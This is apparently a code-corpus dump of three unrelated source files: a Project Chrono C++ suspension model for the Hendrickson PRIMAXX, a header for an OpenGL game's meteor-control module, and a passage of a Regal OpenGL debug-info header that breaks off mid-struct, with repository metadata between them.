============================================================================= #include "chrono/assets/ChCylinderShape.h" #include "chrono/assets/ChPointPointDrawing.h" #include "chrono/assets/ChColorAsset.h" #include "chrono_vehicle/wheeled_vehicle/suspension/ChHendricksonPRIMAXX.h" namespace chrono { namespace vehicle { // ----------------------------------------------------------------------------- // Static variables // ----------------------------------------------------------------------------- const std::string ChHendricksonPRIMAXX::m_pointNames[] = {"SPINDLE ", "KNUCKLE_L", "KNUCKLE_U", "TIEROD_C", "TIEROD_K", "TORQUEROD_C", "TORQUEROD_AH", "LOWERBEAM_C", "LOWERBEAM_AH", "LOWERBEAM_TB", "SHOCKAH_C", "SHOCKAH_AH", "SHOCKLB_C", "SHOCKLB_LB", "KNUCKLE_CM", "TORQUEROD_CM", "LOWERBEAM_CM", "TRANSVERSEBEAM_CM"}; // ----------------------------------------------------------------------------- // ----------------------------------------------------------------------------- ChHendricksonPRIMAXX::ChHendricksonPRIMAXX(const std::string& name) : ChSuspension(name) { } // ----------------------------------------------------------------------------- // ----------------------------------------------------------------------------- void ChHendricksonPRIMAXX::Initialize(std::shared_ptr<ChBodyAuxRef> chassis, const ChVector<>& location, std::shared_ptr<ChBody> tierod_body, int steering_index, double left_ang_vel, double right_ang_vel) { m_location = location; m_steering_index = steering_index; // Express the suspension reference frame in the absolute coordinate system. ChFrame<> suspension_to_abs(location); suspension_to_abs.ConcatenatePreTransformation(chassis->GetFrame_REF_to_abs()); // Transform the location of the axle body COM to absolute frame. ChVector<> axleCOM_local = getAxlehousingCOM(); ChVector<> axleCOM = suspension_to_abs.TransformLocalToParent(axleCOM_local); // Calculate end points on the axle body, expressed in the absolute frame // (for visualization) ChVector<> midpoint_local = 0.5 * (getLocation(KNUCKLE_U) + getLocation(KNUCKLE_L)); ChVector<> outer_local(axleCOM_local.x(), midpoint_local.y(), axleCOM_local.z()); m_outerL = suspension_to_abs.TransformPointLocalToParent(outer_local); outer_local.y() = -outer_local.y(); m_outerR = suspension_to_abs.TransformPointLocalToParent(outer_local); // Create and initialize the axle housing body. m_axlehousing = std::shared_ptr<ChBody>(chassis->GetSystem()->NewBody()); m_axlehousing->SetNameString(m_name + "_axlehousing"); m_axlehousing->SetPos(axleCOM); m_axlehousing->SetRot(chassis->GetFrame_REF_to_abs().GetRot()); m_axlehousing->SetMass(getAxlehousingMass()); m_axlehousing->SetInertiaXX(getAxlehousingInertia()); chassis->GetSystem()->AddBody(m_axlehousing); // Transform all points and directions to absolute frame m_pointsL.resize(NUM_POINTS); m_pointsR.resize(NUM_POINTS); m_dirsL.resize(NUM_DIRS); m_dirsR.resize(NUM_DIRS); for (int i = 0; i < NUM_POINTS; i++) { ChVector<> rel_pos = getLocation(static_cast<PointId>(i)); m_pointsL[i] = suspension_to_abs.TransformLocalToParent(rel_pos); rel_pos.y() = -rel_pos.y(); m_pointsR[i] = suspension_to_abs.TransformLocalToParent(rel_pos); } for (int i = 0; i < NUM_DIRS; i++) { ChVector<> rel_dir = getDirection(static_cast<DirectionId>(i)); m_dirsL[i] = suspension_to_abs.TransformDirectionLocalToParent(rel_dir); rel_dir.y() = -rel_dir.y(); m_dirsR[i] = suspension_to_abs.TransformDirectionLocalToParent(rel_dir); } // Create transverse beam body ChVector<> tbCOM_local = getTransversebeamCOM(); ChVector<> tbCOM = suspension_to_abs.TransformLocalToParent(tbCOM_local); m_transversebeam = std::shared_ptr<ChBody>(chassis->GetSystem()->NewBody()); m_transversebeam->SetNameString(m_name + "_transversebeam"); m_transversebeam->SetPos(tbCOM); m_transversebeam->SetRot(chassis->GetFrame_REF_to_abs().GetRot()); m_transversebeam->SetMass(getTransversebeamMass()); m_transversebeam->SetInertiaXX(getTransversebeamInertia()); chassis->GetSystem()->AddBody(m_transversebeam); // Initialize left and right sides. InitializeSide(LEFT, chassis, tierod_body, m_pointsL, m_dirsL, left_ang_vel); InitializeSide(RIGHT, chassis, tierod_body, m_pointsR, m_dirsR, right_ang_vel); } void ChHendricksonPRIMAXX::InitializeSide(VehicleSide side, std::shared_ptr<ChBodyAuxRef> chassis, std::shared_ptr<ChBody> tierod_body, const std::vector<ChVector<> >& points, const std::vector<ChVector<> >& dirs, double ang_vel) { std::string suffix = (side == LEFT) ? "_L" : "_R"; // Unit vectors for orientation matrices. ChVector<> u; ChVector<> v; ChVector<> w; ChMatrix33<> rot; // Chassis orientation (expressed in absolute frame) // Recall that the suspension reference frame is aligned with the chassis. ChQuaternion<> chassisRot = chassis->GetFrame_REF_to_abs().GetRot(); // Create and initialize knuckle body (same orientation as the chassis) m_knuckle[side] = std::shared_ptr<ChBody>(chassis->GetSystem()->NewBody()); m_knuckle[side]->SetNameString(m_name + "_knuckle" + suffix); m_knuckle[side]->SetPos(points[KNUCKLE_CM]); m_knuckle[side]->SetRot(chassisRot); m_knuckle[side]->SetMass(getKnuckleMass()); m_knuckle[side]->SetInertiaXX(getKnuckleInertia()); chassis->GetSystem()->AddBody(m_knuckle[side]); // Create and initialize spindle body (same orientation as the chassis) m_spindle[side] = std::shared_ptr<ChBody>(chassis->GetSystem()->NewBody()); m_spindle[side]->SetNameString(m_name + "_spindle" + suffix); m_spindle[side]->SetPos(points[SPINDLE]); m_spindle[side]->SetRot(chassisRot); m_spindle[side]->SetWvel_loc(ChVector<>(0, ang_vel, 0)); m_spindle[side]->SetMass(getSpindleMass()); m_spindle[side]->SetInertiaXX(getSpindleInertia()); chassis->GetSystem()->AddBody(m_spindle[side]); // Create and initialize torque rod body. // Determine the rotation matrix of the torque rod based on the plane of the hard points // (z-axis along the length of the torque rod) v = Vcross(points[TORQUEROD_AH] - points[LOWERBEAM_AH], points[TORQUEROD_C] - points[LOWERBEAM_AH]); v.Normalize(); w = points[TORQUEROD_C] - points[TORQUEROD_AH]; w.Normalize(); u = Vcross(v, w); rot.Set_A_axis(u, v, w); m_torquerod[side] = std::shared_ptr<ChBody>(chassis->GetSystem()->NewBody()); m_torquerod[side]->SetNameString(m_name + "_torquerod" + suffix); m_torquerod[side]->SetPos(points[TORQUEROD_CM]); m_torquerod[side]->SetRot(rot); m_torquerod[side]->SetMass(getTorquerodMass()); m_torquerod[side]->SetInertiaXX(getTorquerodInertia()); chassis->GetSystem()->AddBody(m_torquerod[side]); // Create and initialize lower beam body. // Determine the rotation matrix of the lower link based on the plane of the hard points // (z-axis along the length of the lower link) v = Vcross(points[LOWERBEAM_C] - points[TORQUEROD_AH], points[LOWERBEAM_AH] - points[TORQUEROD_AH]); v.Normalize(); w = points[LOWERBEAM_C] - points[LOWERBEAM_AH]; w.Normalize(); u = Vcross(v, w); rot.Set_A_axis(u, v, w); m_lowerbeam[side] = std::shared_ptr<ChBody>(chassis->GetSystem()->NewBody()); m_lowerbeam[side]->SetNameString(m_name + "_lowerLink" + suffix); m_lowerbeam[side]->SetPos(points[LOWERBEAM_CM]); m_lowerbeam[side]->SetRot(rot); m_lowerbeam[side]->SetMass(getLowerbeamMass()); m_lowerbeam[side]->SetInertiaXX(getLowerbeamInertia()); chassis->GetSystem()->AddBody(m_lowerbeam[side]); // Create and initialize the revolute joint between axle and knuckle. // Determine the joint orientation matrix from the hardpoint locations by // constructing a rotation matrix with the z axis along the joint direction. w = points[KNUCKLE_U] - points[KNUCKLE_L]; w.Normalize(); u = Vcross(points[KNUCKLE_U] - points[SPINDLE], points[KNUCKLE_L] - points[SPINDLE]); u.Normalize(); v = Vcross(w, u); rot.Set_A_axis(u, v, w); m_revoluteKingpin[side] = chrono_types::make_shared<ChLinkLockRevolute>(); m_revoluteKingpin[side]->SetNameString(m_name + "_revoluteKingpin" + suffix); m_revoluteKingpin[side]->Initialize( m_axlehousing, m_knuckle[side], ChCoordsys<>((points[KNUCKLE_U] + points[KNUCKLE_L]) / 2, rot.Get_A_quaternion())); chassis->GetSystem()->AddLink(m_revoluteKingpin[side]); // Create and initialize the spherical joint between axle housing and torque rod. m_sphericalTorquerod[side] = chrono_types::make_shared<ChLinkLockSpherical>(); m_sphericalTorquerod[side]->SetNameString(m_name + "_sphericalTorquerod" + suffix); m_sphericalTorquerod[side]->Initialize(m_axlehousing, m_torquerod[side], ChCoordsys<>(points[TORQUEROD_AH], QUNIT)); chassis->GetSystem()->AddLink(m_sphericalTorquerod[side]); // Create and initialize the spherical joint between axle housing and lower beam. m_sphericalLowerbeam[side] = chrono_types::make_shared<ChLinkLockSpherical>(); m_sphericalLowerbeam[side]->SetNameString(m_name + "_sphericalLowerbeam" + suffix); m_sphericalLowerbeam[side]->Initialize(m_axlehousing, m_lowerbeam[side], ChCoordsys<>(points[LOWERBEAM_AH], QUNIT)); chassis->GetSystem()->AddLink(m_sphericalLowerbeam[side]); // Create and initialize the revolute joint between chassis and torque rod. ChCoordsys<> revTR_csys(points[TORQUEROD_C], chassisRot * Q_from_AngAxis(CH_C_PI / 2.0, VECT_X)); m_revoluteTorquerod[side] = chrono_types::make_shared<ChLinkLockRevolute>(); m_revoluteTorquerod[side]->SetNameString(m_name + "_revoluteTorquerod" + suffix); m_revoluteTorquerod[side]->Initialize(chassis, m_torquerod[side], revTR_csys); chassis->GetSystem()->AddLink(m_revoluteTorquerod[side]); // Create and initialize the revolute joint between chassis and lower beam. ChCoordsys<> revLB_csys(points[LOWERBEAM_C], chassisRot * Q_from_AngAxis(CH_C_PI / 2.0, VECT_X)); m_revoluteLowerbeam[side] = chrono_types::make_shared<ChLinkLockRevolute>(); m_revoluteLowerbeam[side]->SetNameString(m_name + "_revoluteLowerbeam" + suffix); m_revoluteLowerbeam[side]->Initialize(chassis, m_lowerbeam[side], revLB_csys); chassis->GetSystem()->AddLink(m_revoluteLowerbeam[side]); // Create and initialize the revolute joint between upright and spindle. ChCoordsys<> rev_csys(points[SPINDLE], chassisRot * Q_from_AngAxis(CH_C_PI / 2.0, VECT_X)); m_revolute[side] = chrono_types::make_shared<ChLinkLockRevolute>(); m_revolute[side]->SetNameString(m_name + "_revolute" + suffix); m_revolute[side]->Initialize(m_spindle[side], m_knuckle[side], rev_csys); chassis->GetSystem()->AddLink(m_revolute[side]); // Create and initialize the spring/damper between axle housing and chassis m_shockAH[side] = chrono_types::make_shared<ChLinkSpringCB>(); m_shockAH[side]->SetNameString(m_name + "_shockAH" + suffix); m_shockAH[side]->Initialize(chassis, m_axlehousing, false, points[SHOCKAH_C], points[SHOCKAH_AH]); m_shockAH[side]->RegisterForceFunctor(getShockAHForceCallback()); chassis->GetSystem()->AddLink(m_shockAH[side]); // Create and initialize the spring/damper between lower beam and chassis m_shockLB[side] = chrono_types::make_shared<ChLinkSpringCB>(); m_shockLB[side]->SetNameString(m_name + "_shockLB" + suffix); m_shockLB[side]->Initialize(chassis, m_axlehousing, false, points[SHOCKLB_C], points[SHOCKLB_LB]); m_shockLB[side]->RegisterForceFunctor(getShockLBForceCallback()); chassis->GetSystem()->AddLink(m_shockLB[side]); // Create and initialize the tierod distance constraint between chassis and upright. m_distTierod[side] = chrono_types::make_shared<ChLinkDistance>(); m_distTierod[side]->SetNameString(m_name + "_distTierod" + suffix); m_distTierod[side]->Initialize(tierod_body, m_knuckle[side], false, points[TIEROD_C], points[TIEROD_K]); chassis->GetSystem()->AddLink(m_distTierod[side]); // Create and initialize the axle shaft and its connection to the spindle. Note that the // spindle rotates about the Y axis. m_axle[side] = chrono_types::make_shared<ChShaft>(); m_axle[side]->SetNameString(m_name + "_axle" + suffix); m_axle[side]->SetInertia(getAxleInertia()); m_axle[side]->SetPos_dt(-ang_vel); chassis->GetSystem()->Add(m_axle[side]); m_axle_to_spindle[side] = chrono_types::make_shared<ChShaftsBody>(); m_axle_to_spindle[side]->SetNameString(m_name + "_axle_to_spindle" + suffix); m_axle_to_spindle[side]->Initialize(m_axle[side], m_spindle[side], ChVector<>(0, -1, 0)); chassis->GetSystem()->Add(m_axle_to_spindle[side]); } // ----------------------------------------------------------------------------- // Get the total mass of the suspension subsystem. // ----------------------------------------------------------------------------- double ChHendricksonPRIMAXX::GetMass() const { return getAxlehousingMass() + getTransversebeamMass() + 2 * (getSpindleMass() + getKnuckleMass() + getTorquerodMass() + getLowerbeamMass()); } // ----------------------------------------------------------------------------- // Get the current COM location of the suspension subsystem. // ----------------------------------------------------------------------------- ChVector<> ChHendricksonPRIMAXX::GetCOMPos() const { ChVector<> com(0, 0, 0); com += getAxlehousingMass() * m_axlehousing->GetPos(); com += getTransversebeamMass() * m_transversebeam->GetPos(); com += getSpindleMass() * m_spindle[LEFT]->GetPos(); com += getSpindleMass() * m_spindle[RIGHT]->GetPos(); com += getKnuckleMass() * m_knuckle[LEFT]->GetPos(); com += getKnuckleMass() * m_knuckle[RIGHT]->GetPos(); com += getTorquerodMass() * m_torquerod[LEFT]->GetPos(); com += getTorquerodMass() * m_torquerod[RIGHT]->GetPos(); com += getLowerbeamMass() * m_lowerbeam[LEFT]->GetPos(); com += getLowerbeamMass() * m_lowerbeam[RIGHT]->GetPos(); return com / GetMass(); } // ----------------------------------------------------------------------------- // Get the wheel track using the spindle local position. // ----------------------------------------------------------------------------- double ChHendricksonPRIMAXX::GetTrack() { return 2 * getLocation(SPINDLE).y(); } // ----------------------------------------------------------------------------- // ----------------------------------------------------------------------------- void ChHendricksonPRIMAXX::LogHardpointLocations(const ChVector<>& ref, bool inches) { double unit = inches ? 1 / 0.0254 : 1.0; for (int i = 0; i < NUM_POINTS; i++) { ChVector<> pos = ref + unit * getLocation(static_cast<PointId>(i)); GetLog() << " " << m_pointNames[i].c_str() << " " << pos.x() << " " << pos.y() << " " << pos.z() << "\n"; } } // ----------------------------------------------------------------------------- // ----------------------------------------------------------------------------- void ChHendricksonPRIMAXX::LogConstraintViolations(VehicleSide side) { // Revolute joints { ChVectorDynamic<> C = m_revolute[side]->GetC(); GetLog() << "Spindle revolute "; GetLog() << " " << C(0) << " "; GetLog() << " " << C(1) << " "; GetLog() << " " << C(2) << " "; GetLog() << " " << C(3) << " "; GetLog() << " " << C(4) << "\n"; } { ChVectorDynamic<> C = m_revoluteKingpin[side]->GetC(); GetLog() << "Kingpin revolute "; GetLog() << " " << C(0) << " "; GetLog() << " " << C(1) << " "; GetLog() << " " << C(2) << " "; GetLog() << " " << C(3) << " "; GetLog() << " " << C(4) << "\n"; } // Spherical joints { ChVectorDynamic<> C = m_sphericalTorquerod[side]->GetC(); GetLog() << "Torquerod spherical "; GetLog() << " " << C(0) << " "; GetLog() << " " << C(1) << " "; GetLog() << " " << C(2) << "\n"; } { ChVectorDynamic<> C = m_sphericalLowerbeam[side]->GetC(); GetLog() << "Lowerbeam spherical "; GetLog() << " " << C(0) << " "; GetLog() << " " << C(1) << " "; GetLog() << " " << C(2) << "\n"; } { ChVectorDynamic<> C = m_revoluteLowerbeam[side]->GetC(); GetLog() << "Lowerbeam revolute "; GetLog() << " " << C(0) << " "; GetLog() << " " << C(1) << " "; GetLog() << " " << C(2) << " "; GetLog() << " " << C(3) << " "; GetLog() << " " << C(4) << "\n"; } { ChVectorDynamic<> C = m_revoluteTorquerod[side]->GetC(); GetLog() << "Torquerod revolute "; GetLog() << " " << C(0) << " "; GetLog() << " " << C(1) << " "; GetLog() << " " << C(2) << " "; GetLog() << " " << C(3) << " "; GetLog() << " " << C(4) << "\n"; } // Distance constraint GetLog() << "Tierod distance "; GetLog() << " " << m_distTierod[side]->GetCurrentDistance() - m_distTierod[side]->GetImposedDistance() << "\n"; } // ----------------------------------------------------------------------------- // ----------------------------------------------------------------------------- void ChHendricksonPRIMAXX::AddVisualizationAssets(VisualizationType vis) { ChSuspension::AddVisualizationAssets(vis); if (vis == VisualizationType::NONE) return; AddVisualizationLink(m_axlehousing, m_outerL, m_outerR, getAxlehousingRadius(), ChColor(1.0f, 0.0f, 0.0f)); AddVisualizationLink(m_axlehousing, m_pointsL[LOWERBEAM_AH], m_pointsL[TORQUEROD_AH], getAxlehousingRadius() / 2, ChColor(1.0f, 0.0f, 0.0f)); AddVisualizationLink(m_axlehousing, m_pointsR[LOWERBEAM_AH], m_pointsR[TORQUEROD_AH], getAxlehousingRadius() / 2, ChColor(1.0f, 0.0f, 0.0f)); AddVisualizationLink(m_transversebeam, m_pointsL[LOWERBEAM_TB], m_pointsR[LOWERBEAM_TB], getTransversebeamRadius(), ChColor(0.7f, 0.7f, 0.7f)); AddVisualizationKnuckle(m_knuckle[LEFT], m_pointsL[KNUCKLE_U], m_pointsL[KNUCKLE_L], m_pointsL[TIEROD_K], getKnuckleRadius()); AddVisualizationKnuckle(m_knuckle[RIGHT], m_pointsR[KNUCKLE_U], m_pointsR[KNUCKLE_L], m_pointsR[TIEROD_K], getKnuckleRadius()); AddVisualizationLink(m_torquerod[LEFT], m_pointsL[TORQUEROD_AH], m_pointsL[TORQUEROD_C], getTorquerodRadius(), ChColor(0.6f, 0.2f, 0.6f)); AddVisualizationLink(m_torquerod[RIGHT], m_pointsR[TORQUEROD_AH], m_pointsR[TORQUEROD_C], getTorquerodRadius(), ChColor(0.6f, 0.2f, 0.6f)); AddVisualizationLowerBeam(m_lowerbeam[LEFT], m_pointsL[LOWERBEAM_C], m_pointsL[LOWERBEAM_AH], m_pointsL[LOWERBEAM_TB], getLowerbeamRadius(), ChColor(0.2f, 0.6f, 0.2f)); AddVisualizationLowerBeam(m_lowerbeam[RIGHT], m_pointsR[LOWERBEAM_C], m_pointsR[LOWERBEAM_AH], m_pointsR[LOWERBEAM_TB], getLowerbeamRadius(), ChColor(0.2f, 0.6f, 0.2f)); // Add visualization for the springs and shocks m_shockLB[LEFT]->AddAsset(chrono_types::make_shared<ChPointPointSpring>(0.06, 150, 15)); m_shockLB[RIGHT]->AddAsset(chrono_types::make_shared<ChPointPointSpring>(0.06, 150, 15)); m_shockAH[LEFT]->AddAsset(chrono_types::make_shared<ChPointPointSpring>(0.06, 150, 15)); m_shockAH[RIGHT]->AddAsset(chrono_types::make_shared<ChPointPointSpring>(0.06, 150, 15)); // Add visualization for the tie-rods m_distTierod[LEFT]->AddAsset(chrono_types::make_shared<ChPointPointSegment>()); m_distTierod[RIGHT]->AddAsset(chrono_types::make_shared<ChPointPointSegment>()); m_distTierod[LEFT]->AddAsset(chrono_types::make_shared<ChColorAsset>(0.8f, 0.3f, 0.3f)); m_distTierod[RIGHT]->AddAsset(chrono_types::make_shared<ChColorAsset>(0.8f, 0.3f, 0.3f)); } void ChHendricksonPRIMAXX::RemoveVisualizationAssets() { ChSuspension::RemoveVisualizationAssets(); m_axlehousing->GetAssets().clear(); m_transversebeam->GetAssets().clear(); m_knuckle[LEFT]->GetAssets().clear(); m_knuckle[RIGHT]->GetAssets().clear(); m_torquerod[LEFT]->GetAssets().clear(); m_torquerod[RIGHT]->GetAssets().clear(); m_lowerbeam[LEFT]->GetAssets().clear(); m_lowerbeam[RIGHT]->GetAssets().clear(); m_shockLB[LEFT]->GetAssets().clear(); m_shockLB[RIGHT]->GetAssets().clear(); m_shockAH[LEFT]->GetAssets().clear(); m_shockAH[RIGHT]->GetAssets().clear(); m_distTierod[LEFT]->GetAssets().clear(); m_distTierod[RIGHT]->GetAssets().clear(); } // ----------------------------------------------------------------------------- // void ChHendricksonPRIMAXX::AddVisualizationLink(std::shared_ptr<ChBody> body, const ChVector<> pt_1, const ChVector<> pt_2, double radius, const ChColor& color) { // Express hardpoint locations in body frame. ChVector<> p_1 = body->TransformPointParentToLocal(pt_1); ChVector<> p_2 = body->TransformPointParentToLocal(pt_2); auto cyl = chrono_types::make_shared<ChCylinderShape>(); cyl->GetCylinderGeometry().p1 = p_1; cyl->GetCylinderGeometry().p2 = p_2; cyl->GetCylinderGeometry().rad = radius; body->AddAsset(cyl); auto col = chrono_types::make_shared<ChColorAsset>(); col->SetColor(color); body->AddAsset(col); } void ChHendricksonPRIMAXX::AddVisualizationLowerBeam(std::shared_ptr<ChBody> body, const ChVector<> pt_C, const ChVector<> pt_AH, const ChVector<> pt_TB, double radius, const ChColor& color) { // Express hardpoint locations in body frame. ChVector<> p_C = body->TransformPointParentToLocal(pt_C); ChVector<> p_AH = body->TransformPointParentToLocal(pt_AH); ChVector<> p_TB = body->TransformPointParentToLocal(pt_TB); auto cyl_1 = chrono_types::make_shared<ChCylinderShape>(); cyl_1->GetCylinderGeometry().p1 = p_C; cyl_1->GetCylinderGeometry().p2 = p_AH; cyl_1->GetCylinderGeometry().rad = radius; body->AddAsset(cyl_1); auto cyl_2 = chrono_types::make_shared<ChCylinderShape>(); cyl_2->GetCylinderGeometry().p1 = p_AH; cyl_2->GetCylinderGeometry().p2 = p_TB; cyl_2->GetCylinderGeometry().rad = radius; body->AddAsset(cyl_2); auto col = chrono_types::make_shared<ChColorAsset>(); col->SetColor(color); body->AddAsset(col); } void ChHendricksonPRIMAXX::AddVisualizationKnuckle(std::shared_ptr<ChBody> knuckle, const ChVector<> pt_U, const ChVector<> pt_L, const ChVector<> pt_T, double radius) { static const double threshold2 = 1e-6; // Express hardpoint locations in body frame. ChVector<> p_U = knuckle->TransformPointParentToLocal(pt_U); ChVector<> p_L = knuckle->TransformPointParentToLocal(pt_L); ChVector<> p_T = knuckle->TransformPointParentToLocal(pt_T); if (p_L.Length2() > threshold2) { auto cyl_L = chrono_types::make_shared<ChCylinderShape>(); cyl_L->GetCylinderGeometry().p1 = p_L; cyl_L->GetCylinderGeometry().p2 = ChVector<>(0, 0, 0); cyl_L->GetCylinderGeometry().rad = radius; knuckle->AddAsset(cyl_L); } if (p_U.Length2() > threshold2) { auto cyl_U = chrono_types::make_shared<ChCylinderShape>(); cyl_U->GetCylinderGeometry().p1 = p_U; cyl_U->GetCylinderGeometry().p2 = ChVector<>(0, 0, 0); cyl_U->GetCylinderGeometry().rad = radius; knuckle->AddAsset(cyl_U); } if (p_T.Length2() > threshold2) { auto cyl_T = chrono_types::make_shared<ChCylinderShape>(); cyl_T->GetCylinderGeometry().p1 = p_T; cyl_T->GetCylinderGeometry().p2 = ChVector<>(0, 0, 0); cyl_T->GetCylinderGeometry().rad = radius; knuckle->AddAsset(cyl_T); } auto col = chrono_types::make_shared<ChColorAsset>(); col->SetColor(ChColor(0.2f, 0.2f, 0.6f)); knuckle->AddAsset(col); } // ----------------------------------------------------------------------------- // ----------------------------------------------------------------------------- void ChHendricksonPRIMAXX::ExportComponentList(rapidjson::Document& jsonDocument) const { ChPart::ExportComponentList(jsonDocument); std::vector<std::shared_ptr<ChBody>> bodies; bodies.push_back(m_spindle[0]); bodies.push_back(m_spindle[1]); bodies.push_back(m_knuckle[0]); bodies.push_back(m_knuckle[1]); bodies.push_back(m_torquerod[0]); bodies.push_back(m_torquerod[1]); bodies.push_back(m_lowerbeam[0]); bodies.push_back(m_lowerbeam[1]); bodies.push_back(m_transversebeam); bodies.push_back(m_axlehousing); ChPart::ExportBodyList(jsonDocument, bodies); std::vector<std::shared_ptr<ChShaft>> shafts; shafts.push_back(m_axle[0]); shafts.push_back(m_axle[1]); ChPart::ExportShaftList(jsonDocument, shafts); std::vector<std::shared_ptr<ChLink>> joints; joints.push_back(m_revolute[0]); joints.push_back(m_revolute[1]); joints.push_back(m_revoluteKingpin[0]); joints.push_back(m_revoluteKingpin[1]); joints.push_back(m_sphericalTorquerod[0]); joints.push_back(m_sphericalTorquerod[1]); joints.push_back(m_revoluteTorquerod[0]); joints.push_back(m_revoluteTorquerod[1]); joints.push_back(m_sphericalLowerbeam[0]); joints.push_back(m_sphericalLowerbeam[1]); joints.push_back(m_revoluteLowerbeam[0]); joints.push_back(m_revoluteLowerbeam[1]); joints.push_back(m_sphericalTB[0]); joints.push_back(m_sphericalTB[1]); joints.push_back(m_distTierod[0]); joints.push_back(m_distTierod[1]); ChPart::ExportJointList(jsonDocument, joints); std::vector<std::shared_ptr<ChLinkSpringCB>> springs; springs.push_back(m_shockLB[0]); springs.push_back(m_shockLB[1]); springs.push_back(m_shockAH[0]); springs.push_back(m_shockAH[1]); ChPart::ExportLinSpringList(jsonDocument, springs); } void ChHendricksonPRIMAXX::Output(ChVehicleOutput& database) const { if (!m_output) return; std::vector<std::shared_ptr<ChBody>> bodies; bodies.push_back(m_spindle[0]); bodies.push_back(m_spindle[1]); bodies.push_back(m_knuckle[0]); bodies.push_back(m_knuckle[1]); bodies.push_back(m_torquerod[0]); bodies.push_back(m_torquerod[1]); bodies.push_back(m_lowerbeam[0]); bodies.push_back(m_lowerbeam[1]); bodies.push_back(m_transversebeam); bodies.push_back(m_axlehousing); database.WriteBodies(bodies); std::vector<std::shared_ptr<ChShaft>> shafts; shafts.push_back(m_axle[0]); shafts.push_back(m_axle[1]); database.WriteShafts(shafts); std::vector<std::shared_ptr<ChLink>> joints; joints.push_back(m_revolute[0]); joints.push_back(m_revolute[1]); joints.push_back(m_revoluteKingpin[0]); joints.push_back(m_revoluteKingpin[1]); joints.push_back(m_sphericalTorquerod[0]); joints.push_back(m_sphericalTorquerod[1]); joints.push_back(m_revoluteTorquerod[0]); joints.push_back(m_revoluteTorquerod[1]); joints.push_back(m_sphericalLowerbeam[0]); joints.push_back(m_sphericalLowerbeam[1]); joints.push_back(m_revoluteLowerbeam[0]); joints.push_back(m_revoluteLowerbeam[1]); joints.push_back(m_sphericalTB[0]); joints.push_back(m_sphericalTB[1]); joints.push_back(m_distTierod[0]); joints.push_back(m_distTierod[1]); database.WriteJoints(joints); std::vector<std::shared_ptr<ChLinkSpringCB>> springs; springs.push_back(m_shockLB[0]); springs.push_back(m_shockLB[1]); springs.push_back(m_shockAH[0]); springs.push_back(m_shockAH[1]); database.WriteLinSprings(springs); } } // end namespace vehicle } // end namespace chrono
[ "she77@wisc.edu" ]
she77@wisc.edu
b61ef0ed16a4f5f9fd7d0fd1b0f2d8a5ed969d06
a20085857057966dcaa33483f1f643d2f55ae6fa
/OpenGL_Game/src/meteo/control_meteo.h
fb760e4007c07f4e037491116287a31142fbeefc
[ "MIT" ]
permissive
MoriyamaHB/OpenGL_Game
eb79a8213e5604d7168fa50e32ce4dff4ef4943b
d286c68ca67bd49110744383265cb2f46d1126fd
refs/heads/master
2021-05-01T00:25:00.921517
2017-05-08T11:25:37
2017-05-08T11:25:37
56,022,538
0
0
null
null
null
null
UTF-8
C++
false
false
627
h
#ifndef OPENGLGAME_METEO_CONTROLMETEO_H_ #define OPENGLGAME_METEO_CONTROLMETEO_H_ class Fps; class Meteo; namespace control_meteo { const int kMaxMeteoNum = 1000; //隕石の最大出現数 const double kAddScoreMaxDistance = 5; //スコアを加算するプレイヤーと隕石の最大距離 const int kAddScoreFactor = 13; //実際に隕石を格納するデータ構造 //当たり判定に困り仕方なくグローバルで宣言 extern std::vector<Meteo*> meteo_; void Init(); void Update(Fps *fps, Vector3 camera_place, Vector3 camera_viewpoint, float camera_spped); void Draw(); } #endif
[ "mhrbykm122@yahoo.co.jp" ]
mhrbykm122@yahoo.co.jp
e3886518a4a00bf570f1b9e6644f452f54c195f2
c80e4dea4548de89d32f2abd6ca58812670ecc7b
/src/regal/RegalDebugInfo.h
1488be6ecd55fbc12c114266d3197a09d4cc9c94
[ "Unlicense", "MIT", "LicenseRef-scancode-glut", "BSD-3-Clause", "SGI-B-2.0", "LicenseRef-scancode-public-domain", "BSD-2-Clause" ]
permissive
chinmaygarde/regal
971699cc8d991633b7257ce9ced2b4d65dd6d9b2
db0832075bd78241afe003b9c1b8f6ac0051370b
refs/heads/master
2021-01-17T04:42:10.354459
2012-10-10T09:08:13
2012-10-10T09:08:13
6,150,566
1
0
null
null
null
null
UTF-8
C++
false
false
3,173
h
/* Copyright (c) 2011 NVIDIA Corporation Copyright (c) 2011-2012 Cass Everitt Copyright (c) 2012 Scott Nations Copyright (c) 2012 Mathias Schott Copyright (c) 2012 Nigel Stewart All rights reserved. Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met: Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer. Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution. THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. */ /* Regal debug dispatch support Cass Everitt */ #ifndef __REGAL_DEBUG_INFO_H__ #define __REGAL_DEBUG_INFO_H__ #include "RegalUtil.h" REGAL_GLOBAL_BEGIN #include <map> #include <string> #include "RegalLog.h" #include "RegalEnum.h" REGAL_GLOBAL_END REGAL_NAMESPACE_BEGIN struct DebugTexImage { Enum internalFormat; GLsizei width; GLsizei height; GLint border; }; struct DebugTexObject { const char * label; GLuint name; Enum target; DebugTexImage mips[16]; GLfloat minLod; GLfloat maxLod; GLfloat maxAniso; }; struct DebugBufferObject { const char * label; GLuint name; }; struct DebugShaderObject { const char * label; GLuint name; }; struct DebugProgramObject { const char * label; GLuint name; }; struct DebugInfo { Enum matrixMode; GLint clientActiveTextureIndex; GLint activeTextureIndex; std::map< GLuint, DebugTexObject > textures; std::map< GLuint, DebugBufferObject> buffers; DebugInfo() : 